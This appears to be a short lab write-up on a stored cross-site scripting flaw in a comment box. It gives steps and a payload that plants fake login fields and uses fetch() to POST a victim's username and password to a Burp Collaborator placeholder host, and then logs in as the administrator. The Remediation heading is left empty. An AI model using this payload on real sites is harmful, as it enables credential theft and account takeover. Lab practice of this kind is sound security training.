SCENARIO

The application contains a stored cross site scripting vulnerability in the comment box functionality as a simulated victim user views all comments after they are posted. We will try to exploit the vulnerability to exfiltrate the victim’s username/password and then use them to impersonate that victim.

**PROCEDURE**

1. Go the vulnerable web applications and open any post.
2. Post a comment with trash data but enter the payload into the comment box.
3. It will force the application to make a POST HTTP request to the BurpSuite’s Collaborator Client.
4. We will get a couple of requests but we need to observe the HTTP request only and we’ll find the username:password there.
5. Copy the username:password from there and try to login.
6. Congratulations, we managed to break in the administrator’s account.

**PAYLOAD**

<input name=username id=username>

<input type=password name=password onchange="if(this.value.length)fetch('https://BURP-COLLABORATOR-SUBDOMAIN',{

method:'POST',

mode: 'no-cors',

body:username.value+':'+this.value

});">

**REMEDIATION**